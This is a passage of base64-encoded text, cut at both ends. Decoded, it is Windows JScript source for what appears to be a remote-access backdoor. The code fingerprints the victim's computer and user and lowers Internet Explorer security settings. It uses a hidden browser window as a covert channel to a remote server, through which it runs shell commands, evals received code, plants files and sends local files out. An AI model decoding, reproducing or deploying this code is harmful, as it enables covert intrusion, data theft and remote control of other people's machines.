JywNCglkb3duU2l6ZSA6IDAsDQoJZG93bkluZGV4IDogMCwNCglkb3duQ291bnQgOiAwLA0KCWRvd25PbmNlIDogMTAyNCAqIDIwMCwNCglkb3duSW50ZXJ2YWwgOiA1LA0KCWRvd25PayA6IHRydWUsDQoJDQoJdXBGaWxlIDogJycsDQoJdXBTdGFydCA6ICcnLA0KCXVwRW5kIDogJycsDQoJdXBTaXplIDogMCwNCgl1cEluZGV4IDogMCwNCgl1cENvdW50IDogMCwNCgl1cE9uY2UgOiAwLA0KCXVwSW50ZXJ2YWwgOiA1LA0KCXVwT2sgOiB0cnVlLA0KCQ0KCW9JRSA6IG51bGwsDQoJb1NoZWxsIDogbnVsbCwNCglvTmV0IDogbnVsbCwNCglvRlMgOiBudWxsLA0KCW9TQSA6IG51bGwsDQoJb1diZW1Mb2NhdG9yIDogbnVsbCwNCglvQ2ltdjIgOiBudWxsLA0KCXRtcERpciA6ICcnLA0KCXN0YXJ0dXBEaXIgOiAnJywNCglhbGxTdGFydHVwRGlyIDogJycsDQoJZGlycyA6ICcnLA0KCW9zQml0IDogJycsDQoJaWQgOiAnJywNCgkNCglCYXNlNjRfTW9ja0RsbDMyIDogJycsDQoJQmFzZTY0X01vY2tEbGw2NCA6ICcnLA0KCQ0KCWFkb0NvbiA6IG51bGwsDQoJYWRvUmVjIDogbnVsbCwNCgkNCgkvKioqKioqKioqKioqKiBCYXNpYyAqKioqKioqKioqKioqLw0KCXNob3dPYmo6ZnVuY3Rpb24ob2JqKXsNCgkJdmFyIHJlcyA9ICcnOw0KCQlmb3IodmFyIGkgaW4gb2JqKXsNCgkJCXJlcyArPSBpKyI6ICIrb2JqW2ldKycsXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCglkb3duSW5mbzpmdW5jdGlvbigpew0KCQlpbmZvID0gJyc7DQoJCWluZm8gKz0gJ2Rvd25TdGFydD0nK3RoaXMuZG93blN0YXJ0KydcbmRvd25FbmQ9Jyt0aGlzLmRvd25FbmQ7DQoJCWluZm8gKz0gJ1xuZG93bkZpbGU9Jyt0aGlzLmRvd25GaWxlKydcbmRvd25TaXplPScrdGhpcy5kb3duU2l6ZTsNCgkJaW5mbyArPSAnXG5kb3duT25jZT0nK3RoaXMuZG93bk9uY2UrJ1xuZG93bkludGVydmFsPScrdGhpcy5kb3duSW50ZXJ2YWw7DQoJCWluZm8gKz0gJ1xuUGVyY2VudD0nK3RoaXMuZG93bkluZGV4KycvJyt0aGlzLmRvd25Db3VudDsNCgkJaW5mbyArPSAnXG5kb3duT2s9Jyt0aGlzLmRvd25PaysnXG4nOw0KCQlyZXR1cm4gaW5mbzsNCgl9LA0KCXVwSW5mbzpmdW5jdGlvbigpew0KCQlpbmZvID0gJyc7DQoJCWluZm8gKz0gJ3VwU3RhcnQ9Jyt0aGlzLnVwU3RhcnQrJ1xudXBFbmQ9Jyt0aGlzLnVwRW5kOw0KCQlpbmZvICs9ICdcbnVwRmlsZT0nK3RoaXMudXBGaWxlKydcbnVwU2l6ZT0nK3RoaXMudXBTaXplOw0KCQlpbmZvICs9ICdcbnVwT25jZT0nK3RoaXMudXBPbmNlKydcbnVwSW50ZXJ2YWw9Jyt0aGlzLnVwSW50ZXJ2YWw7DQoJCWluZm8gKz0gJ1xuUGVyY2VudD0nK3RoaXMudXBJbmRleCsnLycrdGhpcy51cENvdW50Ow0KCQlpbmZvICs9ICdcbnVwT2s9Jyt0aGlzLnVwT2srJ1xuJzsNCgkJcmV0dXJuIGluZm87DQoJfSwNCgl0cmFuSW5mbzpmdW5jdGlvbigpew0KCQlyZXR1cm4gdGhpcy51cEluZm8oKSsnXG4nK3RoaXMuZG93bkluZm8oKTsNCgl9LA0KCWdldE9TQml0OmZ1bmN0aW9uKCl7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNlbGVjdCAqIGZyb20gV2luMzJfUHJvY2Vzc29yIikpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCWVsZSA9IGUuaXRlbSgpOw0KCQkJcmV0dXJuIGVsZS5BZGRyZXNzV2lkdGg7DQoJCX0NCgkJcmV0dXJuICd1bmtub3duJzsNCgl9LA0KCW5vdzpmdW5jdGlvbigpew0KCQl2YXIgbXlEYXRlID0gbmV3IERhdGUoKTsNCgkJdmFyIG1pbnV0ZSA9IG15RGF0ZS5nZXRNaW51dGVzKCk7DQoJCXZhciBzZWNvbmRzID0gbXlEYXRlLmdldFNlY29uZHMoKTsNCgkJaWYgKHBhcnNlSW50KG1pbnV0ZSkgPCAxMCl7DQoJCQltaW51dGUgPSAiMCIgKyBtaW51dGU7DQoJCX0NCgkJaWYgKHBhcnNlSW50KHNlY29uZHMpIDwgMTApew0KCQkJc2Vjb25kcyA9ICIwIiArIHNlY29uZHM7DQoJCX0NCgkJcmV0dXJuIG15RGF0ZS5nZXRGdWxsWWVhcigpKyItIisobXlEYXRlLmdldE1vbnRoKCkrMSkrIi0iK215RGF0ZS5nZXREYXRlKCkrIiAiK215RGF0ZS5nZXRIb3VycygpKyI6IisgbWludXRlICsiOiIrIHNlY29uZHMNCgl9LA0KCWVyck9ialRvU3RyOmZ1bmN0aW9uKGVycil7DQoJCWlmKHR5cGVvZihlcnIpPT0nb2JqZWN0Jyl7DQoJCQlyZXR1cm4gZXJyLm5hbWUrJzonKyAoZXJyLm51bWJlciAmIDB4RkZGRikudG9TdHJpbmcoKSArICJ8IiArIGVyci5kZXNjcmlwdGlvbjsNCgkJfQ0KCQlyZXR1cm4gJyc7DQoJfSwNCgllcnJMb2c6ZnVuY3Rpb24oZXJyKXsNCgkJdGV4dCA9ICcnOw0KCQlpZih0eXBlb2YoZXJyKT09J29iamVjdCcpew0KCQkJdGV4dCA9IHRoaXMuZXJyT2JqVG9TdHIoZXJyKTsNCgkJfWVsc2UgaWYodHlwZW9mKGVycik9PSdzdHJpbmcnKXsNCgkJCXRleHQgPSBlcnI7DQoJCX0NCgkJZnNvID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Jyk7DQoJCW9TaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7DQoJCXRoaXMuZXJyTG9nRmlsZVBhdGggPSBvU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCcldGVtcCUnKSArICdcXF9FcnJvckxvZy50eHQnOw0KCQlmID0gZnNvLk9wZW5UZXh0RmlsZSh0aGlzLmVyckxvZ0ZpbGVQYXRoLCA4LCB0cnVlKTsNCgkJZi5Xcml0ZUxpbmUodGhpcy5ub3coKSsnOicrdGV4dCk7DQoJCWYuQ2xvc2UoKTsNCgl9LA0KCXF1aXQ6ZnVuY3Rpb24oKXsNCgkJdHJ5e3RoaXMub0lFLlF1aXQoKTt9Y2F0Y2goZSl7fQ0KCQl0cnl7V1NjcmlwdC5RdWl0KCk7fWNhdGNoKGUpe30NCgl9LA0KCQ0KCWluaXRCYXNlOmZ1bmN0aW9uKCl7DQoJCXRoaXMub1NoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuU2hlbGwnKTsNCgkJdGhpcy5vTmV0ID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuTmV0d29yaycpOw0KCQl0aGlzLm9GUyA9IG5ldyBBY3RpdmVYT2JqZWN0KCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOw0KCQl0cnl7DQoJCXRoaXMub1NBID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoJCXRoaXMuYWRvQ29uID0gbmV3IEFjdGl2ZVhPYmplY3QoJ0FET0RCLkNvbm5lY3Rpb24nKTsNCgkJdGhpcy5hZG9SZWMgPSBuZXcgQWN0aXZlWE9iamVjdCgnQURPREIuUmVjb3Jkc2V0Jyk7DQoJCX1jYXRjaChlKXt9DQoJCXRoaXMub1diZW1Mb2NhdG9yID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1diZW1TY3JpcHRpbmcuU1diZW1Mb2NhdG9yJyk7DQoJCXRoaXMub0NpbXYyID0gdGhpcy5vV2JlbUxvY2F0b3IuQ29ubmVjdFNlcnZlcignLicsICdyb290XFxjaW12MicpOw0KCQl0aGlzLnRtcERpciA9IHRoaXMub1NoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygnJXRlbXAlJyk7DQoJCXRoaXMuc3RhcnR1cERpciA9IHRoaXMub1NoZWxsLlNwZWNpYWxGb2xkZXJzKCdTdGFydHVwJyk7DQoJCXRoaXMuYWxsU3RhcnR1cERpciA9IHRoaXMub1NoZWxsLlNwZWNpYWxGb2xkZXJzKCdBbGxVc2Vyc1N0YXJ0dXAnKTsNCgkJdGhpcy5kaXJzICs9ICd0bXBEaXI6XG4nK3RoaXMudG1wRGlyKydcblxuJzsNCgkJdGhpcy5kaXJzICs9ICdzdGFydHVwRGlyOlxuJyt0aGlzLnN0YXJ0dXBEaXIrJ1xuXG4nOw0KCQl0aGlzLmRpcnMgKz0gJ2FsbFN0YXJ0dXBEaXI6XG4nK3RoaXMuYWxsU3RhcnR1cERpcisnXG5cbic7DQoJCXRoaXMub3NCaXQgPSB0aGlzLmdldE9TQml0KCk7DQoJCXRoaXMubXV0ZXhGaWxlUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIHRoaXMubXV0ZXhGaWxlTmFtZTsNCgkJDQoJCWlmKHRoaXMuYkRlbGV0ZVNlbGYpew0KCQkJdHJ5e3RoaXMub0ZTLkRlbGV0ZUZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSk7fWNhdGNoKGUpe30NCgkJfQ0KCQkNCgkJaWYodGhpcy5iTXV0ZXgpew0KCQkJdHJ5ew0KCQkJCUZvclJlYWRpbmcgPSAxOw0KCQkJCUZvcldyaXRpbmcgPSAyOw0KCQkJCUZvckFwcGVuZGluZyA9IDg7DQoJCQkJdGhpcy5tdXRleEZpbGUgPSB0aGlzLm9GUy5PcGVuVGV4dEZpbGUodGhpcy5tdXRleEZpbGVQYXRoLCBGb3JBcHBlbmRpbmcsIHRydWUpOw0KCQkJfWNhdGNoKGVycil7DQoJCQkJV1NjcmlwdC5RdWl0KCk7DQoJCQl9DQoJCX0NCgkJDQoJCXRoaXMuaWQgPSB0aGlzLm9OZXQuQ29tcHV0ZXJOYW1lICsnfCcrIHRoaXMuZ2V0T1NCaXQoKSArJ3wnKyB0aGlzLm9OZXQuVXNlckRvbWFpbiArJ1xcJysgdGhpcy5vTmV0LlVzZXJOYW1lICsnfCc7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIFdIRVJFIElQRW5hYmxlZCA9IFRydWUiKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkgICAgdmFyIGVsZSA9IGUuaXRlbSgpOw0KCQkgICAgdGhpcy5pZCArPSBlbGUuTUFDQWRkcmVzcyArICItIiArIGVsZS5JUEFkZHJlc3MoMCkgKyAiLCI7DQoJCX0NCgkJDQoJCXRoaXMuSW5pdE1vY2tEbGwzMigpOw0KCQl0aGlzLkluaXRNb2NrRGxsNjQoKTsNCgkJDQoJCXRoaXMub1NoZWxsLlJlZ1dyaXRlKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxab25lc1xcM1xcMTYwMSIsIDAsICJSRUdfRFdPUkQiKTsNCgkJdGhpcy5jcmVhdGVJRSgpLlF1aXQoKTsNCgkJaWYodGhpcy5iRGVidWcpew0KCQkJdGhpcy5yZXRyeUludGVydmFsID0gMTAwMCozOw0KCQl9DQoJfSwNCgkNCgltYWluOmZ1bmN0aW9uKCl7DQoJCXRoaXMub0lFID0gdGhpcy5jcmVhdGVJRSgpOw0KCQl0aGlzLmdldENvbmZpZygpOw0KCQkNCgkJaWYodGhpcy5pbml0Q29kZSE9Jycpew0KCQkJdHJ5e2V2YWwodGhpcy5pbml0Q29kZSk7fWNhdGNoKGVycil7fQ0KCQl9DQoJCQ0KCQlpZih0aGlzLmRzdFVybD09Jycpew0KCQkJcmV0dXJuOw0KCQl9DQoJCXRoaXMudHJ5QXV0aCgpOw0KCQl3b3JrSUUgPSB0aGlzLm9JRTsNCgkJdmFyIGlkbGVUaW1lcyA9IDA7DQoJCXZhciBpID0gMDsNCgkJZm9yKDs7KXsNCgkJCXRoaXMuc2V0V29ya0ZsYWcodGhpcy53b3JrRmxhZ1llcyk7DQoJCQlpZihpZGxlVGltZXMvMj09dGhpcy5pZGxlU2Vjb25kQmVmb3JlRnJlc2gpew0KCQkJCXRoaXMuZnJlc2hJRSh3b3JrSUUpOw0KCQkJCWlkbGVUaW1lcyA9IDA7DQoJCQl9DQoJCQl2YXIgaWRsZVRoaXNUaW1lID0gdHJ1ZTsNCgkJCWlmKCsraT09OTk5OSlpPTA7DQoJCQlXU2NyaXB0LlNsZWVwKDUwMCk7DQoJCQl2YXIgc25kID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzbmQiKTsNCgkJCXZhciByY3YgPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJjdiIpOw0KCQkJdmFyIGRvd24gPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImRvd24iKTsNCgkJCXZhciBkb3duQnRuID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkb3duQnRuIik7DQoJCQl2YXIgdXAgPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwIik7DQoJCQl2YXIgdXBJZHggPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwSWR4Iik7DQoJCQlpZighc25kIHx8ICFyY3YgfHwgIWRvd24gfHwgIWRvd25CdG4gfHwgIXVwIHx8ICF1cElkeClicmVhazsNCgkJCQ0KCQkJdHJ5ew0KCQkJCWlmKGklKHRoaXMuZG93bkludGVydmFsKjIpPT0wICYmIGRvd24uaW5uZXJUZXh0Lmxlbmd0aD09MCAmJiB0aGlzLmRvd25JbmRleDx0aGlzLmRvd25Db3VudCAmJiB0aGlzLm9GUy5GaWxlRXhpc3RzKHRoaXMuZG93bkZpbGUpKXsNCgkJCQkJaWRsZVRoaXNUaW1lID0gZmFsc2U7DQoJCQkJCWlmKFdTY3JpcHQuQ3JlYXRlQmxvY2tGaWxlKHRoaXMuZG93bkZpbGUsIHRoaXMuZG93bk9uY2UsIHRoaXMuZG93bkluZGV4KSl7DQoJCQkJCQlmID0gdGhpcy5vRlMuR2V0RmlsZSh0aGlzLmRvd25GaWxlKTsNCgkJCQkJCWRmUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIGYuTmFtZSArICd+JyArIHRoaXMuZG93bkluZGV4Ow0KCQkJCQkJRm9yUmVhZGluZyA9IDE7DQoJCQkJCQlkZiA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShkZlBhdGgsIEZvclJlYWRpbmcpOw0KCQkJCQkJZG93bkRhdGEgPSBkZi5SZWFkQWxsKCk7DQoJCQkJCQlkZi5DbG9zZSgpOw0KCQkJCQkJdGhpcy5vRlMuRGVsZXRlRmlsZShkZlBhdGgpOw0KCQkJCQkJZG93bi5pbm5lclRleHQgPSB0aGlzLmVuY29kZSh0aGlzLmNhc2VEb3duRmlsZURhdGEgKyBkb3duRGF0YSk7DQoJCQkJCQkrK3RoaXMuZG93bkluZGV4Ow0KCQkJCQkJaWYodGhpcy5kb3duSW5kZXg9PXRoaXMuZG93bkNvdW50KXsNCgkJCQkJCQl0aGlzLmRvd25PayA9IHRydWU7DQoJCQkJCQkJdGhpcy5kb3duRW5kID0gdGhpcy5ub3coKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlkb3duQnRuLmNsaWNrKCk7DQoJCQl9Y2F0Y2goZSl7fQ0KCQkJDQoJCQl0cnl7DQoJCQkJdXBEYXRhID0gdXAuaW5uZXJUZXh0Ow0KCQkJCWlmKGklKHRoaXMudXBJbnRlcnZhbCoyKT09MCAmJiB1cERhdGEubGVuZ3RoPjAgJiYgdGhpcy51cEluZGV4PHRoaXMudXBDb3VudCl7DQoJCQkJCWlkbGVUaGlzVGltZSA9IGZhbHNlOw0KCQkJCQlwdXRSZXMgPSAwOw0KCQkJCQl0cnl7cHV0UmVzID0gV1NjcmlwdC5QdXRCbG9ja1RvRmlsZSh0aGlzLnVwRmlsZSwgdGhpcy51cE9uY2UsIHRoaXMudXBJbmRleCwgdXBEYXRhKTt9Y2F0Y2goZSl7fQ0KCQkJCQlpZihwdXRSZXMpew0KCQkJCQkJKyt0aGlzLnVwSW5kZXg7DQoJCQkJCQlpZih0aGlzLnVwSW5kZXg9PXRoaXMudXBDb3VudCl7DQoJCQkJCQkJdXBJZHguaW5uZXJUZXh0ID0gJy0xJzsNCgkJCQkJCQl0aGlzLnVwT2sgPSB0cnVlOw0KCQkJCQkJCXRoaXMudXBFbmQgPSB0aGlzLm5vdygpOw0KCQkJCQkJfQ0KCQkJCQl9ZWxzZXsNCgkJCQkJCXRoaXMudXBPaz10cnVlOw0KCQkJCQkJdGhpcy51cENvdW50PTA7DQoJCQkJCX0NCgkJCQkJdXAuaW5uZXJUZXh0ID0gJyc7DQoJCQkJfQ0KCQkJCWlmKCF0aGlzLnVwT2spew0KCQkJCQl1cElkeC5pbm5lclRleHQgPSB0aGlzLnVwSW5kZXg7DQoJCQkJfQ0KCQkJfWNhdGNoKGUpe30NCgkJCQ0KCQkJdmFyIHJlY3ZEYXRhID0gcmN2LmlubmVyVGV4dDsNCgkJCWlmKHJlY3ZEYXRhLmxlbmd0aD4wKXsNCgkJCQlpZGxlVGhpc1RpbWUgPSBmYWxzZTsNCgkJCQlyY3YuaW5uZXJUZXh0ID0gJyc7DQoJCQkJaWYocmVjdkRhdGE9PXRoaXMuY2FzZVJlYXV0aCl7DQoJCQkJCXRoaXMudHJ5QXV0aCgpOw0KCQkJCQljb250aW51ZTsNCgkJCQl9DQoJCQkJaWYocmVjdkRhdGEubGVuZ3RoPjMpew0KCQkJCQl0aGlzLnNldFdvcmtGbGFnKHRoaXMud29ya0ZsYWdObyk7DQoJCQkJCXNuZC5pbm5lclRleHQgPSB0aGlzLmNhc2VIYW5kbGVyKHJlY3ZEYXRhKTsNCgkJCQl9DQoJCQl9DQoJCQlpZihpZGxlVGhpc1RpbWUpeysraWRsZVRpbWVzO30NCgkJfQ0KCX0sDQoJDQoJY2FzZUhhbmRsZXI6ZnVuY3Rpb24ocmVjdkRhdGEpew0KCQl2YXIgdG1wID0gdGhpcy5kZWNvZGUocmVjdkRhdGEpOw0KCQljYXNlU3RyID0gdG1wLnN1YnN0cmluZygwLCAzKS50b0xvd2VyQ2FzZSgpOw0KCQlkYXRhID0gdG1wLnN1YnN0cmluZygzKTsNCgkJc3dpdGNoKGNhc2VTdHIpDQoJCXsNCgkJCWNhc2UgdGhpcy5jYXNlRXhlY0NtZDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgdGhpcy5leGVjV2l0aENTY3JpcHQoZGF0YSwgMTApKTsNCgkJCWNhc2UgdGhpcy5jYXNlRG93bkZpbGU6DQoJCQkJdHJ5ew0KCQkJCQlXU2NyaXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCWZpbGVQYXRoID0gZGF0YTsNCgkJCQkJZmlsZVNpemUgPSAwOw0KCQkJCQl0cnl7ZmlsZVNpemUgPSB0aGlzLm9GUy5HZXRGaWxlKGZpbGVQYXRoKS5TaXplO31jYXRjaChlKXt9DQoJCQkJCWNvdW50ID0gTWF0aC5mbG9vcihmaWxlU2l6ZS90aGlzLmRvd25PbmNlKSArIChmaWxlU2l6ZSV0aGlzLmRvd25PbmNlPT0wID8gMCA6IDEpOw0KCQkJCQlpZihjb3VudD4wKXsNCgkJCQkJCXRoaXMuZG93bkZpbGUgPSBmaWxlUGF0aDsNCgkJCQkJCXRoaXMuZG93blNpemUgPSBmaWxlU2l6ZTsNCgkJCQkJCXRoaXMuZG93bkNvdW50ID0gY291bnQ7DQoJCQkJCQl0aGlzLmRvd25JbmRleCA9IDA7DQoJCQkJCQl0aGlzLmRvd25PayA9IGZhbHNlOw0KCQkJCQkJdGhpcy5kb3duU3RhcnQgPSB0aGlzLm5vdygpOw0KCQkJCQkJdGhpcy5kb3duRW5kID0gJyc7DQoJCQkJCX0NCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxlICsgdGhpcy5ub3coKSArICdcbicgKyBmaWxlUGF0aCArICdcbmRvd25Db3VudD0nICsgY291bnQgDQoJCQkJCQkrICdcbmRvd25TaXplPScgKyBmaWxlU2l6ZSArICdcbkRvd25SZXEgUmVjdmVkIScpOw0KCQkJCX1jYXRjaChlKXsNCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxlICsgdGhpcy5ub3coKSArICdcbicgKyAnRG93bmxvYWQgTm90IFN1cHBvcnRlZCEnKTsNCgkJCQl9DQoJCQljYXNlIHRoaXMuY2FzZVVwRmlsZToNCgkJCQlhcmdBcnIgPSBkYXRhLnNwbGl0KHRoaXMuc3BsaXRDaGFyKTsNCgkJCQlpZihhcmdBcnIubGVuZ3RoPT0yKXsNCgkJCQkJdXBQYXRoID0gYXJnQXJyWzBdOw0KCQkJCQl1cERhdGEgPSBhcmdBcnJbMV07DQoJCQkJCXNpemUgPSB0aGlzLmJhc2U2NFRvRmlsZSh1cFBhdGgsIHVwRGF0YSk7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArIHVwUGF0aCArICdcbicgKyBzaXplICsgJ1xuVXBsb2FkIE9LIScpOw0KCQkJCX1lbHNlIGlmKGFyZ0Fyci5sZW5ndGg9PTQpew0KCQkJCQl0cnl7DQoJCQkJCQlXU2NyaXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCQl0aGlzLnVwRmlsZSA9IGFyZ0FyclswXTsNCgkJCQkJCWFjY2Vzc1RvV3JpdGUgPSB0cnVlOw0KCQkJCQkJdHJ5e2ZUZXN0PXRoaXMub0ZTLkNyZWF0ZVRleHRGaWxlKHRoaXMudXBGaWxlLCB0cnVlKTtmVGVzdC5DbG9zZSgpO31jYXRjaChlKXthY2Nlc3NUb1dyaXRlPWZhbHNlO30NCgkJCQkJCWlmKGFjY2Vzc1RvV3JpdGUpew0KCQkJCQkJCXRoaXMudXBTaXplID0gYXJnQXJyWzFdOw0KCQkJCQkJCXRoaXMudXBPbmNlID0gYXJnQXJyWzJdOw0KCQkJCQkJCXRoaXMudXBDb3VudCA9IGFyZ0FyclszXTsNCgkJCQkJCQl0aGlzLnVwSW5kZXggPSAwOw0KCQkJCQkJCXRoaXMudXBPayA9IGZhbHNlOw0KCQkJCQkJCXRoaXMudXBTdGFydCA9IHRoaXMubm93KCk7DQoJCQkJCQkJdGhpcy51cEVuZCA9ICcnOw0KCQkJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xudXBGaWxlPScgKyB0aGlzLnVwRmlsZSArICdcbnVwU2l6ZT0nICt0aGlzLnVwU2l6ZSANCgkJCQkJCQkJKyAnXG51cE9uY2U9JyArIHRoaXMudXBPbmNlICsgJ1xudXBDb3VudD0nICt0aGlzLnVwQ291bnQgKyAnXG5VcFJlcSBSZWN2ZWQhJyk7DQoJCQkJCQl9ZWxzZXsNCgkJCQkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlVXBGaWxlICsgdGhpcy5ub3coKSArICdcbnVwRmlsZT0nICsgdGhpcy51cEZpbGUgKyAnXG5Ob0FjY2Vzc1RvV3JpdGUhJyk7DQoJCQkJCQl9DQoJCQkJCX1jYXRjaChlKXsNCgkJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArICdVcGxvYWQgQmlnRmlsZSBOb3QgU3VwcG9ydGVkIScpOw0KCQkJCQl9DQoJCQkJfWVsc2V7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArICdVcEFyZyBFcnIhJyk7DQoJCQkJfQ0KCQkJY2FzZSB0aGlzLmNhc2VDb2RlOg0KCQkJCXJldD0nJzsNCgkJCQl0cnl7d2l0aChvcnope2V2YWwoZGF0YSk7fX1jYXRjaChlcnIpe3JldD10aGlzLmVyck9ialRvU3RyKGVycik7fQ0KCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VDb2RlICsgdGhpcy5ub3coKSArICdcbicgKyByZXQpOw0KCQkJZGVmYXVsdDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgJ3Vua25vd24gY2FzZTogJytjYXNlU3RyKydcbicrdG1wKTsNCgkJfQ0KCX0sDQoJDQoJZ2V0Q29uZmlnOmZ1bmN0aW9uKCl7DQoJCXdvcmtJRSA9IHRoaXMub0lFOw0KCQlmb3IodmFyIGkgaW4gdGhpcy5qbXBVcmxMaXN0KXsNCgkJCW9rID0gZmFsc2U7DQoJCQl0aGlzLmptcFVybCA9IHRoaXMuam1wVXJsTGlzdFtpXTsNCgkJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuam1wVXJsKTsNCgkJCQ0KCQkJam1wUmVzID0gdGhpcy5qbXBSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTsNCgkJCWlmKGptcFJlcyl7DQoJCQkJdGhpcy5kc3RVcmwgPSB0aGlzLmRlY29kZShqbXBSZXNbMV0pOw0KCQkJCW9rID0gdHJ1ZTsNCgkJCX0NCgkJCWNvZGVSZXMgPSB0aGlzLmNvZGVSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTsNCgkJCWlmKGNvZGVSZXMpew0KCQkJCXRoaXMuaW5pdENvZGUgPSB0aGlzLmRlY29kZShjb2RlUmVzWzFdKTsNCgkJCQlvayA9IHRydWU7DQoJCQl9DQoJCQlpZihvayl7YnJlYWs7fQ0KCQkJV1NjcmlwdC5TbGVlcCgzMDAwKTsNCgkJfQ0KCX0sDQoJDQoJc2V0V29ya0ZsYWc6ZnVuY3Rpb24oZmxhZyl7DQoJCXZhciB3b3JrRmxhZyA9IHRoaXMub0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMud29ya0ZsYWdJZCk7DQoJCWlmKHdvcmtGbGFnKXsNCgkJCXdvcmtGbGFnLmlubmVyVGV4dCA9IGZsYWc7DQoJCX0NCgl9LA0KCQ0KCXRyeUF1dGg6ZnVuY3Rpb24oKXsNCgkJd29ya0lFID0gdGhpcy5vSUU7DQoJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuZHN0VXJsKTsNCgkJdmFyIGxvZ2luRm9ybSA9IHdvcmtJRS5Eb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLmxvZ2luRm9ybUlkKTsNCgkJdmFyIHVzZXJuYW1lID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudUlkKTsNCgkJdmFyIHBhc3N3b3JkID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMucElkKTsNCgkJdmFyIHZhbGljb2RlID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudklkKTsNCgkJdmFyIHN1Ym1pdCA9IHdvcmtJRS5Eb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLnNJZCk7DQoJCWlmKCFsb2dpbkZvcm0gfHwgIXVzZXJuYW1lIHx8ICFwYXNzd29yZCB8fCAhdmFsaWNvZGUgfHwgIXN1Ym1pdCl7DQoJCQlyZXR1cm47DQoJCX0NCgkJbG9naW5Gb3JtLmFjdGlvbiA9IHRoaXMubG9naW5BY3Rpb247DQoJCXVzZXJuYW1lLm5hbWUgPSB0aGlzLnVOYW1lOw0KCQl1c2VybmFtZS52YWx1ZSA9IHRoaXMuaWQ7DQoJCXBhc3N3b3JkLm5hbWUgPSB0aGlzLnBOYW1lOw0KCQlwYXNzd29yZC52YWx1ZSA9IHRoaXMuaWQuc3BsaXQoIiIpLnJldmVyc2UoKS5qb2luKCIiKTsNCgkJdmFsaWNvZGUubmFtZSA9IHRoaXMudk5hbWU7DQoJCXZhbGljb2RlLnZhbHVlID0gdGhpcy52YWxpY29kZTsNCgkJc3VibWl0LmNsaWNrKCk7DQoJCS8qTk9TbGVlcCovD